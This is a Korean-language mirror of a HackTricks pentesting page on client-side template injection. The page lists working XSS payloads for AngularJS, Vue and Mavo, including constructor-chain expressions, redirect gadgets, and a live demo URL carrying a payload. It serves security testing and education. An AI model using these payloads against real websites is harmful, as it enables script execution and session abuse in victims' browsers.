Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator workflow 1d9d380da0 Translated to Korean

2024-02-10 21:30:13 +00:00

6.8 KiB

Raw Blame History

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
공식 PEASS & HackTricks 스웨그를 얻으세요.
The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.

요약

이것은 클라이언트에서의 서버 측 템플릿 인젝션과 유사합니다. SSTI는 원격 서버에서 코드를 실행할 수 있게 해주지만, CSTI는 피해자에서 임의의 JavaScript 코드를 실행할 수 있게 해줍니다.

이 취약점을 테스트하는 방법은 SSTI의 경우와 매우 유사합니다. 해석기는 이중 중괄호 사이에 실행할 내용을 기대하고 실행합니다. 예를 들어 {{ 7-7 }}와 같은 것을 사용하면 서버가 취약하다면 0을 볼 수 있고, 그렇지 않다면 원래 내용인 {{ 7-7 }}을 볼 수 있습니다.

AngularJS

AngularJS는 HTML과 상호 작용하는 널리 사용되는 JavaScript 프레임워크로, **ng-app**과 같은 지시자로 알려진 속성을 통해 HTML 콘텐츠를 처리할 수 있게 합니다. 이 지시자는 AngularJS가 HTML 콘텐츠를 처리하여 이중 중괄호 내에서 JavaScript 표현식을 실행할 수 있게 합니다.

사용자 입력이 ng-app과 함께 HTML 본문에 동적으로 삽입되는 시나리오에서는 임의의 JavaScript 코드를 실행할 수 있습니다. 이는 입력 내에서 AngularJS의 구문을 활용함으로써 달성할 수 있습니다. 아래는 JavaScript 코드를 실행하는 방법을 보여주는 예시입니다:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

http://jsfiddle.net/2zs2yv7o/ 및 **Burp Suite Academy**에서 AngularJS의 취약성에 대한 매우 기본적인 온라인 예제를 찾을 수 있습니다.

{% hint style="danger" %} Angular 1.6에서 샌드박스가 제거되어 이 버전부터 {{constructor.constructor('alert(1)')()}} 또는 <input ng-focus=$event.view.alert('XSS')>와 같은 페이로드가 작동해야 합니다. {% endhint %}

VueJS

https://vue-client-side-template-injection-example.azu.now.sh/에서 취약한 vue.js 구현을 찾을 수 있습니다.
작동하는 페이로드: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

그리고 취약한 예제의 소스 코드는 여기에서 찾을 수 있습니다: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

VUE에서 CSTI에 대한 정말 좋은 포스트는 https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets에서 찾을 수 있습니다.

V3

{{_openBlock.constructor('alert(1)')()}}

신용: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

더 많은 VUE 페이로드를 확인하려면 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected 를 참조하세요.

Mavo

페이로드:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}